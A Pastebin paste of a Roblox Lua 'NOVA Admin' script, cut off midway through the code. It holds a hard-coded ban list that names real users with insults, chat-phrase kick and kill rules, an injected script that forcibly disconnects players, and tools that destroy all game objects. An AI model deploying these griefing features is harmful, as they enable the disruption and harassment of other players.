Advertisement
Guest User

Untitled

a guest
Sep 20th, 2018
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 194.87 KB | None | 0 0
  1. wait(5)
  2.  
  3. --[[ Scythe v.0.3-------------------------------------- ]]
  4. script.Name = "ยง NOVA Admin ยง"
  5. wait()
  6. script.Parent = Instance.new("Glue") -- Stuck!
  7. NOVA ={
  8. ShutdownPhrase = "Lol " .. math.random(1,50) .. "XD Shutdown nub low life";
  9. BadPhrases = true;
  10. Ab = false;
  11. AntiCamball = true;
  12. Bet = "/";
  13. Services = {
  14. Game = game;
  15. RunService = game:GetService("RunService");
  16. Workspace = game:GetService("Workspace");
  17. Lighting = game:GetService("Lighting");
  18. Debris = game:GetService("Debris");
  19. Players = game:GetService("Players");
  20. Teams = game:GetService("Teams");
  21. SoundService = game:GetService("SoundService");
  22. ScriptContext = game:GetService("ScriptContext");
  23. StarterGui = game:GetService("StarterGui");
  24. StarterPack = game:GetService("StarterPack");
  25. };
  26. Ranks = {
  27. {-2,"Lagged"}; -- -2
  28. {-1,"Banned"}; -- -1
  29. {-0.5,"Scum"};
  30. {0,"Guest"}; -- 0
  31. {1,"Mod"}; -- 1
  32. {2,"Admin"}; -- 2
  33. {3,"Developer"}; -- 3
  34. {4,"Omega Admin"}; -- 4
  35. {5,"Overlord"}; -- 5
  36. {6,"OP ( Operator )"}; -- 6
  37. {7,"Creator"}; -- 7
  38. {8,"ROOT"}; -- 8
  39. };
  40. Alphabet = {
  41. "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
  42. };
  43. Ranked = {
  44. {Name = "WinslowMau", Rank = 7, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA", Mesh = false};
  45. {Name = "darkeageninja", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me",Mesh = false};
  46. {Name = "wubbzy301", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me",Mesh = false};
  47. {Name = "xXxArtistxXx", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Leaked NOVA Admin",Mesh = false};
  48. {Name = "mrein5", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "A low life Camball abuser",Mesh = false};
  49. {Name = "lxljohnlxlalt", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "TOTAL NUB WITH NO LIFE",Mesh = false};
  50.  
  51. };
  52. Credit = {
  53. {Name = "NetworkClient",Why = "for the tablet function."};
  54. {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."};
  55. {Name = "upquark",Why = "For being a great person in life."};
  56. {Name = "toshir0z",Why = "For teaching me time control."};
  57. {Name = "ask4kingbily",Why = "For showing me how to lock first person."};
  58. {Name = "tusKOr661",Why = "For majorly editing this script."};
  59. };
  60. Animations = {
  61. {Name = "Facepalm", Who = "tusKOr661", Id = "372695cdb6a7540768234ad60ed7a298"};
  62. };
  63. Colors = {
  64. Red = Color3.new(1,0,0);
  65. PinkRed = Color3.new(1,0,0.15);
  66. Orange = Color3.new(1,0.5,0);
  67. Yellow = Color3.new(1,1,0);
  68. Green = Color3.new(0,1,0);
  69. Blue = Color3.new(0,0,1);
  70. LightBlue = Color3.new(0,1,1);
  71. Pink = Color3.new(1,0,1);
  72. Magenta = Color3.new(0.54,0,0.54);
  73. White = Color3.new(1,1,1);
  74. Grey = Color3.new(0.5,0.5,0.5);
  75. Black = Color3.new(0,0,0);
  76. };
  77. Sounds = {
  78. Sound = Instance.new("Sound");
  79. Numbers = { -- one to five ( top to bottom )
  80. "http://www.roblox.com/Asset/?id=29445305",
  81. "http://www.roblox.com/Asset/?id=29445339",
  82. "http://www.roblox.com/Asset/?id=29445358",
  83. "http://www.roblox.com/Asset/?id=29445378",
  84. "http://www.roblox.com/Asset/?id=29445395",
  85. };
  86. PlayAfter = {
  87. "http://www.roblox.com/Asset/?id=2767090",
  88. "http://www.roblox.com/Asset/?id=2800815",
  89. "http://www.roblox.com/Asset/?id=2801263",
  90. "http://www.roblox.com/Asset/?id=11984254",
  91. "http://www.roblox.com/Asset/?id=2101159",
  92. "http://www.roblox.com/Asset/?id=3087031",
  93. "http://www.roblox.com/Asset/?id=2101148",
  94. "http://www.roblox.com/Asset/?id=2233908",
  95. "http://www.roblox.com/Asset/?id=16976189",
  96. "http://www.roblox.com/Asset/?id=2101157",
  97. "http://www.roblox.com/Asset/?id=2974000",
  98. "http://www.roblox.com/Asset/?id=2703110",
  99. "http://www.roblox.com/Asset/?id=1994345",
  100. };
  101. };
  102. AncientRules = {
  103. "Thou shall not use forum scripts.",
  104. "Thou shall not use CamBall / CamSphere.",
  105. "Thou shall not use CBA.",
  106. "Thou shall not use RMDX's scripts.",
  107. "Thou shall not use antibans.",
  108. "Thou shall not abuse thou admin.",
  109. "Thou shall not steal scripts.",
  110. "Thou shall not trade scripts you didn't make.",
  111. "Thou shall not use gay scripts.",
  112. "Thou shall not abuse loopholes in the ancient rules.",
  113. };
  114. ChatFilters = {
  115. "mediafire",
  116. "shit",
  117. "gtfo",
  118. "password",
  119. "hitler",
  120. "vaginas",
  121. };
  122.  
  123. KillingPhrases = {
  124. "ssj",
  125. "yolo",
  126. "swag",
  127. };
  128. KickingPhrases = {
  129. "\"/down\"",
  130. "/down","fweld(","ManualJointSurfaceInstance",
  131. "/hide",
  132. "rpe/",
  133. "antiban",
  134. "ab/",
  135. "camball.",
  136. "camball.came",
  137. "camball/",
  138. "camball /","deadfield","1waffle1",
  139. "cie camball",
  140. "d33k/",
  141. "pban/",
  142. "your own camball",
  143. "created by jordan88282",
  144. "v2 camball",
  145. "cba = {}",
  146. "cba.bet","tusKOr661:Remove()","tusKOr661:Destroy()","tusKOr661.Parent =",
  147. "banmenu","adminlist",
  148. "ban/t","ban/tu","ban/tus","ban/tusk","ban/tusko","ban/tuskor","ban/tuskor6","ban/tuskor66","ban/tuskor661",
  149. "cryston",
  150. "jordan88282", "eyeball","orb","kick/","owner","antikick","iOrb","orb"
  151. };
  152. PreviousDataKeys = {
  153. "Unlimited Gravity&accesskey=lol4&_version="..tostring(_VERSION),
  154. };
  155. LoadTime = {
  156. Start = tick(),
  157. Finish = tick(),
  158. };
  159. Fences = {};
  160. Jails = {};
  161. Objects = {};
  162. Commands = {};
  163. Tablets = {};
  164. Targeted = {};
  165. ExternalPlayersList = {};
  166. Waypoints = {};
  167. Log = {};
  168. LoggedScripts = {};
  169. PRI = false;
  170. LockedScripts = false;
  171. Removed = true;
  172. ShowChat = true;
  173. Canceled = false;
  174. Overrided = false;
  175. TimeChanged = false;
  176. TabletPositionRelative = false;
  177. AntiDLL = false;
  178. EnableGuests = true;
  179. UseGlobals = false;
  180. Overrider = nil;
  181. TabletRotation = 0;
  182. TabletRotationIncrease = 0.03;
  183. AccessKey = "NewData13";
  184. Version = "6th Generation";
  185. DataKey = "Unlimited Gravity";
  186. PRIType = "Kick";
  187. LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal
  188. Script = script:FindFirstChild("PseudoScript"); -- or NewScript
  189. Plugins = script:GetChildren()
  190. }
  191. --[[ PLAYER PLUGINS ]]--
  192. function UpdatePlayerPlugins()
  193. if NOVA.AntiDLL == true then PlayerPlugins = [==[
  194. script.Parent = nil
  195. LocalPlayer = game:GetService("Players").LocalPlayer
  196.  
  197. game:GetService("Selection").SelectionChanged:connect(function()
  198. if LocalPlayer.Name ~= "tusKOr661" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
  199. LocalPlayer.Parent = nil
  200. LocalPlayer.Parent = game:GetService("Players")
  201. end
  202. end)
  203. coroutine.resume(coroutine.create(function()
  204. while wait() do
  205. if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  206. workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  207. LocalPlayer.Parent = nil
  208. LocalPlayer.Parent = game:GetService("Players")
  209. end
  210. end
  211. end))
  212. ]==]
  213. else
  214. PlayerPlugins = [==[
  215. script.Parent = nil
  216. LocalPlayer = game:GetService("Players").LocalPlayer
  217.  
  218. coroutine.resume(coroutine.create(function()
  219. while wait() do
  220. if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  221. workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  222. LocalPlayer.Parent = nil
  223. LocalPlayer.Parent = game:GetService("Players")
  224. end
  225. end
  226. end))
  227. ]==]
  228. end
  229. end
  230. function Color()
  231. local Choice = math.random(1, 5)
  232. if Choice == 1 then
  233. return "Institutional white"
  234. elseif Choice == 2 then
  235. return "White"
  236. elseif Choice == 3 then
  237. return "Really red"
  238. elseif Choice == 4 then
  239. return "New Yeller"
  240. elseif Choice == 5 then
  241. return "Black"
  242. end
  243. end
  244. --[[ PSEUDO FUNCTIONS ]]--
  245. function CreateLocalScript(Source, Parent)
  246. if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  247. newLocalScript(Source, Parent)
  248. elseif game.PlaceId == 23232804 then
  249. NewLocalScript(Source, Parent)
  250. elseif NOVA.LocalScript ~= nil then
  251. NS = NOVA.LocalScript:Clone()
  252. NS.Name = "LocalScript"
  253. pcall(function() NS:ClearAllChildren() end)
  254. NewSource = Instance.new("StringValue",NS)
  255. NewSource.Name = "Source"
  256. if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  257. NewSource.Name = "DSource"
  258. end
  259. NewSource.Value = Source
  260. NS.Parent = Parent
  261. NS.Disabled = false
  262. else
  263. print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  264. end
  265. end
  266.  
  267. function CreateScript(Source, Parent)
  268. if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  269. newScript(Source, Parent)
  270. elseif game.PlaceId == 23232804 then
  271. NewScript(Source, Parent)
  272. elseif NOVA.Script ~= nil then
  273. NS = NOVA.Script:Clone()
  274. NS.Name = "Script"
  275. pcall(function() NS:ClearAllChildren() end)
  276. NewSource = Instance.new("StringValue",NS)
  277. NewSource.Name = "Source"
  278. NewSource.Value = Source
  279. NS.Parent = Parent
  280. NS.Disabled = false
  281. else
  282. print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  283. end
  284. end
  285.  
  286. function IsTargeted(Player)
  287. if type(Player) == "string" then
  288. for _,v in pairs(NOVA.Targeted) do
  289. if v.Name == Player then
  290. return true
  291. end
  292. end
  293. elseif type(Player) == "userdata" then
  294. for _,v in pairs(NOVA.Targeted) do
  295. if Player == v then
  296. return true
  297. end
  298. end
  299. else
  300. print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
  301. end
  302. return false
  303. end
  304.  
  305. --[[ DATA PERSISTANCE ]]--
  306. --[[ SYNC RANKS IN ]]--
  307. function SyncRanksIn()
  308. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  309. SyncRankInSingular(v)
  310. end
  311. end
  312. --[[ SYNC RANK IN SINGULAR ]]--
  313. function SyncRankInSingular(v)
  314. if type(v) ~= "userdata" then
  315. print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.")
  316. return
  317. end
  318. coroutine.resume(coroutine.create(function()
  319. repeat wait() until v.DataReady == true
  320.  
  321. if GetRankedTable(v) == nil then
  322. table.insert(NOVA.Ranked,{
  323. Name = v.Name,
  324. CMD = false,
  325. Rank = 0,
  326. Color = NOVA.Colors.Orange,
  327. Desc = "N/A",
  328. Complaints = Instance.new("Model"),
  329. Executeables = Instance.new("Model"),
  330. Mesh = false
  331. })
  332.  
  333. end
  334.  
  335. local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version)
  336. local Data = GetRankedTable(v)
  337.  
  338. if PhysicalData == nil then
  339. Data.Name = v.Name
  340. Data.CMD = false
  341. Data.Rank = 0
  342. Data.Color = NOVA.Colors.Orange
  343. Data.Desc = "N/A"
  344. Data.Complaints = Instance.new("Model")
  345. Data.Executeables = Instance.new("Model")
  346. elseif PhysicalData ~= nil then
  347. pcall(function() Data.Name = v.Name end)
  348. pcall(function() Data.CMD = PhysicalData.CMD.Value end)
  349. pcall(function() Data.Rank = PhysicalData.RANK.Value end)
  350. pcall(function() Data.Color = PhysicalData.COLOR.Value end)
  351. pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end)
  352. pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end)
  353. pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end)
  354. if Data.CMD == nil then Data.CMD = false end
  355. if Data.Rank == nil then Data.Rank = 0 end
  356. if Data.Color == nil then Data.Color = NOVA.Colors.Orange end
  357. if Data.Desc == nil then Data.Desc = "N/A" end
  358. if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end
  359. if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end
  360. end
  361. end))
  362. end
  363.  
  364. --[[ SYNC RANKS OUT ]]--
  365. function SyncRanksOut()
  366. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  367. SyncRankOutSingular(v)
  368. end
  369. end
  370.  
  371. --[[ SYNC RANK OUT SINGULAR ]]--
  372. function SyncRankOutSingular(v)
  373. coroutine.resume(coroutine.create(function()
  374. repeat wait() until v.DataReady == true
  375. local RankData = GetRankedTable(v)
  376. if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end
  377. local Data = Instance.new("Model")
  378. Data.Name = "PlayerData"
  379. local CMD = Instance.new("BoolValue",Data)
  380. CMD.Name = "CMD"
  381. CMD.Value = RankData.CMD
  382. local Rank = Instance.new("NumberValue",Data)
  383. Rank.Name = "RANK"
  384. Rank.Value = RankData.Rank
  385. local Color = Instance.new("Color3Value",Data)
  386. Color.Name = "COLOR"
  387. Color.Value = RankData.Color
  388. local Desc = Instance.new("StringValue",Data)
  389. Desc.Name = "DESCRIPTION"
  390. Desc.Value = RankData.Desc
  391. local Complaints = RankData.Complaints:Clone()
  392. Complaints.Name = "COMPLAINTS"
  393. local Executeables = RankData.Executeables:Clone()
  394. Executeables.Name = "EXECUTEABLES"
  395. local MeshVa = Instance.new("BoolValue",Data)
  396. MeshVa = RankData.Mesh
  397. if MeshVa.Value == true then
  398. local MeshId = Instance.new("StringValue",Data)
  399. MeshId = RankData.MeshId
  400. end
  401. v:SaveInstance(NOVA.DataKey.."&accesskey=".. NOVA.AccessKey .. "&_version="..NOVA.Version,Data)
  402. for _,v in pairs(NOVA.PreviousDataKeys) do
  403. v:SaveInstance(v,Data)
  404. end
  405. end))
  406. end
  407.  
  408. --[[ PLAYER INTERFACE ]]--
  409. function PlayerInterface(v,Speaker)
  410. RemoveTablets(Speaker)
  411. local Data = GetRankedTable(v)
  412. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker)
  413. Output("Rank Name : "..GetRankName(v),Data.Color,Speaker)
  414. Output("Rank Number : "..Data.Rank,Data.Color,Speaker)
  415. Output("Account Age : "..v.AccountAge,Data.Color,Speaker)
  416. Output("User Id : "..v.userId,Data.Color,Speaker)
  417. Output("Desc : "..Data.Desc,Data.Color,Speaker)
  418. Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker)
  419. Output("Color : "..tostring(Data.Color),Data.Color,Speaker)
  420. if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then
  421. Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  422. function()
  423. Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey
  424. end
  425. )
  426. end
  427. if GetRank(Speaker) > Data.Rank or v == Speaker then
  428. Output("Set CMD",NOVA.Colors.Blue,Speaker,nil,
  429. function()
  430. RemoveTablets(Speaker)
  431. Output("True",NOVA.Colors.Green,Speaker,nil,
  432. function()
  433. Data.CMD = true
  434. SyncRankOutSingular(v)
  435. PlayerInterface(v,Speaker)
  436. end
  437. )
  438. Output("False",NOVA.Colors.Red,Speaker,nil,
  439. function()
  440. Data.CMD = false
  441. SyncRankOutSingular(v)
  442. PlayerInterface(v,Speaker)
  443. end
  444. )
  445. Output("Done",NOVA.Colors.Blue,Speaker,nil,
  446. function()
  447. PlayerInterface(v,Speaker)
  448. end
  449. )
  450. Output("Dismiss",NOVA.Colors.Red,Speaker)
  451. end
  452. )
  453. end
  454. if GetRank(Speaker) > Data.Rank or v == Speaker then
  455. Output("Set Mesh",NOVA.Colors.Blue,Speaker,nil,
  456. function()
  457. RemoveTablets(Speaker)
  458. Output("Rainbow Dominus",NOVA.Colors.Green,Speaker,nil,
  459. function()
  460. Data.Mesh = "Dominus"
  461. SyncRankOutSingular(v)
  462. PlayerInterface(v,Speaker)
  463. end
  464. )
  465. Output("Giant Spider",NOVA.Colors.Red,Speaker,nil,
  466. function()
  467. Data.Mesh = "Spider"
  468. SyncRankOutSingular(v)
  469. PlayerInterface(v,Speaker)
  470. end
  471. )
  472. Output("Orb",NOVA.Colors.Red,Speaker,nil,
  473. function()
  474. Data.Mesh = "Orb"
  475. SyncRankOutSingular(v)
  476. PlayerInterface(v,Speaker)
  477. end
  478. )
  479. Output("Tabet",NOVA.Colors.Red,Speaker,nil,
  480. function()
  481. Data.Mesh = "Tablet"
  482. SyncRankOutSingular(v)
  483. PlayerInterface(v,Speaker)
  484. end
  485. )
  486. Output("Normal",NOVA.Colors.Red,Speaker,nil,
  487. function()
  488. Data.Mesh = false
  489. SyncRankOutSingular(v)
  490. PlayerInterface(v,Speaker)
  491. end
  492. )
  493. Output("Done",NOVA.Colors.Blue,Speaker,nil,
  494. function()
  495. PlayerInterface(v,Speaker)
  496. end
  497. )
  498. Output("Dismiss",NOVA.Colors.Red,Speaker)
  499. end
  500. )
  501. end
  502. if GetRank(Speaker) > Data.Rank then
  503. Output("Set Rank",NOVA.Colors.Blue,Speaker,nil,
  504. function()
  505. RemoveTablets(Speaker)
  506. for i,v in pairs(NOVA.Ranks) do
  507. if v[1] ~= 8 then
  508. Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil,
  509. function()
  510. RemoveTablets(Speaker)
  511. Data.Rank = v[1]
  512. SyncRankOutSingular(v)
  513. PlayerInterface(v,Speaker)
  514. end
  515. )
  516. end
  517. end
  518. Output("Dismiss",NOVA.Colors.Red,Speaker)
  519. Output("Back",NOVA.Colors.Blue,Speaker,nil,
  520. function()
  521. PlayerInterface(v,Speaker)
  522. end
  523. )
  524.  
  525. end
  526. )
  527. end
  528. if GetRank(Speaker) > Data.Rank or v == Speaker then
  529. Output("Set Color",NOVA.Colors.Blue,Speaker,nil,
  530. function()
  531. RemoveTablets(Speaker)
  532. for i,Color in pairs(NOVA.Colors) do
  533. Output(tostring(i),Color,Speaker,nil,
  534. function()
  535. Data.Color = Color
  536. PlayerInterface(v,Speaker)
  537. SyncRankOutSingular(v)
  538. end
  539. )
  540.  
  541. end
  542. Output("Back",NOVA.Colors.Blue,Speaker,nil,
  543. function()
  544. PlayerInterface(v,Speaker)
  545. end
  546. )
  547. Output("Dismiss",NOVA.Colors.Red,Speaker)
  548. end
  549. )
  550. end
  551. Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil,
  552. function()
  553. RemoveTablets(Speaker)
  554. OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  555. end
  556. )
  557. Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil,
  558. function()
  559. RemoveTablets(Speaker)
  560. OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker)
  561. end
  562. )
  563. Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil,
  564. function()
  565. RemoveTablets(Speaker)
  566. OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker)
  567. end
  568. )
  569. Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil,
  570. function()
  571. RemoveTablets(Speaker)
  572. OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker)
  573. end
  574. )
  575. Output("Dismiss",NOVA.Colors.Red,Speaker)
  576. end
  577.  
  578. --[[ MAKE HINT ]]--
  579.  
  580. function makeHint(Text,Parent)
  581. coroutine.resume(coroutine.create(function()
  582. local M = Instance.new("Hint",Parent)
  583. for i = 1, string.len(Text) do
  584. M.Text = M.Text .. string.sub(Text, i, i)
  585. wait(math.random() * 0.1)
  586. end
  587. M.Text = M.Text .. ""
  588. for i = 1, math.random(2, 6) do
  589. M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  590. wait(0.4)
  591. M.Text = string.sub(M.Text, 1, string.len(Text)) .. " "
  592. wait(0.4)
  593. end
  594. M.Text = string.sub(M.Text, 1, string.len(Text))
  595. for i = 1, string.len(M.Text) do
  596. M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  597. wait()
  598. end
  599. M:Remove()
  600. end))
  601. end
  602. function makeMessage(Text,Parent)
  603. coroutine.resume(coroutine.create(function()
  604. local M = Instance.new("Message",Parent)
  605. for i = 1, string.len(Text) do
  606. M.Text = M.Text .. string.sub(Text, i, i)
  607. wait(math.random() * 0.1)
  608. end
  609. M.Text = M.Text .. ""
  610. for i = 1, math.random(2, 6) do
  611. M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  612. wait(0.4)
  613. M.Text = string.sub(M.Text, 1, string.len(Text)) .. " "
  614. wait(0.4)
  615. end
  616. M.Text = string.sub(M.Text, 1, string.len(Text))
  617. for i = 1, string.len(M.Text) do
  618. M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  619. wait()
  620. end
  621. M:Remove()
  622. end))
  623. end
  624.  
  625. --[[ EXPLORE ]]--
  626. function Explore(Thing,Speaker)
  627. if Speaker == nil then
  628. print("[NOVA.Explore] Argument 1 missing or nil.")
  629. return
  630. end
  631. pcall(function()
  632. if Thing == game or Thing == nil then
  633. RemoveTablets(Speaker)
  634. for _,v in pairs(NOVA.Services) do
  635. Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
  636. end
  637. Output("Dismiss",NOVA.Colors.Red,Speaker)
  638. else
  639. if #Thing:children() == 0 then
  640. RemoveTablets(Speaker)
  641. Explore(Thing.Parent.Parent,Speaker)
  642. else
  643. RemoveTablets(Speaker)
  644. for _,v in pairs(Thing:children()) do
  645. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  646. function()
  647. RemoveTablets(Speaker)
  648. Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  649. Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  650. Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  651. Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
  652. Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
  653. Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
  654. Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
  655. Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
  656. Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
  657. Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
  658. Output("Dismiss",NOVA.Colors.Red,Speaker)
  659. end
  660. )
  661. end
  662. Output("Dismiss",NOVA.Colors.Red,Speaker)
  663. end
  664. end
  665. end)
  666. end
  667.  
  668. --[[ CAPE ]]--
  669. function Cape(v)
  670. local Mode = "None"
  671. local AngleX = 0
  672. pcall(function()
  673. v.Character.Swordpack:remove()
  674. end)
  675. pcall(function()
  676. v.Character["NOVA Cape"]:remove()
  677. end)
  678.  
  679. local Main = Instance.new("Model",v.Character)
  680. Main.Name = "NOVA Cape"
  681.  
  682. pcall(function()
  683. v.Character.Swordpack:Remove()
  684. end)
  685.  
  686. local Cape = Instance.new("Part", Main)
  687. Cape.Name = "Cape"
  688. Cape.Anchored = false
  689. Cape.Locked = true
  690. Cape.CanCollide = false
  691. Cape.formFactor = "Custom"
  692. Cape.Size = Vector3.new(2, 3.5, 0.2)
  693. Cape.BrickColor = BrickColor.new("Really black")
  694. Cape.TopSurface = 0
  695. Cape.BottomSurface = 0
  696. local Decal = Instance.new("Decal", Cape)
  697. Decal.Face = "Back"
  698. Decal.Texture = ""
  699. local CapeWeld = Instance.new("Weld", Cape)
  700. CapeWeld.Part0 = v.Character.Torso
  701. CapeWeld.Part1 = Cape
  702. CapeWeld.C0 = CFrame.new(0, 1, 0.5)
  703. CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
  704. v.Character.Humanoid.Running:connect(function(Speed)
  705. if Speed > 0 then
  706. Mode = "Running"
  707. else
  708. Mode = "None"
  709. end
  710. end)
  711. v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
  712. coroutine.wrap(function()
  713. while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
  714. local UpSpeed = 2.5
  715. local DownSpeed = 5
  716. local TargetAngle = 5
  717. if Mode == "Running" then
  718. TargetAngle = 45 + math.random(0, 2500) / 100
  719. elseif Mode == "Jumping" then
  720. UpSpeed = 10
  721. DownSpeed = 10
  722. TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
  723. end
  724. if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
  725. if AngleX < TargetAngle then
  726. AngleX = AngleX + UpSpeed
  727. elseif AngleX > TargetAngle then
  728. AngleX = AngleX - DownSpeed
  729. end
  730. CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
  731. wait()
  732. end
  733. end)()
  734.  
  735. local LShoulder = Instance.new("Part",Main)
  736. LShoulder.Name = "Left Shoulder"
  737. LShoulder.TopSurface = "Smooth"
  738. LShoulder.BottomSurface = "Smooth"
  739. LShoulder.FormFactor = "Custom"
  740. LShoulder.Size = Vector3.new(1,0.2,1)
  741. LShoulder.BrickColor = BrickColor.new("Really black")
  742. LShoulder.Anchored = false
  743. LShoulder.Locked = true
  744. LShoulder.CanCollide = false
  745. LShoulder.Transparency = 0
  746. LShoulder.Reflectance = 0
  747. local Weld = Instance.new("Motor6D",LShoulder)
  748. Weld.Part0 = LShoulder
  749. Weld.Part1 = v.Character["Left Arm"]
  750. Weld.C0 = CFrame.new(0,-1,0)
  751.  
  752. local RShoulder = Instance.new("Part",Main)
  753. RShoulder.Name = "Right Shoulder"
  754. RShoulder.TopSurface = "Smooth"
  755. RShoulder.BottomSurface = "Smooth"
  756. RShoulder.FormFactor = "Custom"
  757. RShoulder.Size = Vector3.new(1,0.2,1)
  758. RShoulder.BrickColor = BrickColor.new("Really black")
  759. RShoulder.Anchored = false
  760. RShoulder.Locked = true
  761. RShoulder.CanCollide = false
  762. RShoulder.Transparency = 0
  763. RShoulder.Reflectance = 0
  764. local Weld = Instance.new("Motor6D",RShoulder)
  765. Weld.Part0 = RShoulder
  766. Weld.Part1 = v.Character["Right Arm"]
  767. Weld.C0 = CFrame.new(0,-1,0)
  768.  
  769. local NeckFlat = Instance.new("Part",Main)
  770. NeckFlat.Name = "NeckFlat"
  771. NeckFlat.TopSurface = "Smooth"
  772. NeckFlat.BottomSurface = "Smooth"
  773. NeckFlat.FormFactor = "Custom"
  774. NeckFlat.Size = Vector3.new(2,0.2,1)
  775. NeckFlat.BrickColor = BrickColor.new("Really black")
  776. NeckFlat.Anchored = false
  777. NeckFlat.Locked = true
  778. NeckFlat.CanCollide = false
  779. NeckFlat.Transparency = 0
  780. NeckFlat.Reflectance = 0
  781. local Weld = Instance.new("Motor6D",NeckFlat)
  782. Weld.Part0 = NeckFlat
  783. Weld.Part1 = v.Character.Torso
  784. Weld.C0 = CFrame.new(0,-1,0)
  785.  
  786. for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
  787.  
  788. end
  789.  
  790. --[[ GET SPLIT ]]--
  791. function GetSplit(Msg)
  792. Split = nil
  793. for i=1,100 do
  794. if string.sub(Msg,i,i) == NOVA.Bet then
  795. Split = i
  796. break
  797. end
  798. end
  799. return Split
  800. end
  801.  
  802. --[[ GET RANK ]]--
  803.  
  804. function GetRank(Player)
  805. Rtn = nil
  806. if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then
  807. return 8
  808. end
  809. if type(Player) == "userdata" then
  810. for _,v in pairs(NOVA.Ranked) do
  811. if v.Name:lower() == Player.Name:lower() then
  812. Rtn = v.Rank
  813. end
  814. end
  815. elseif type(Player) == "string" then
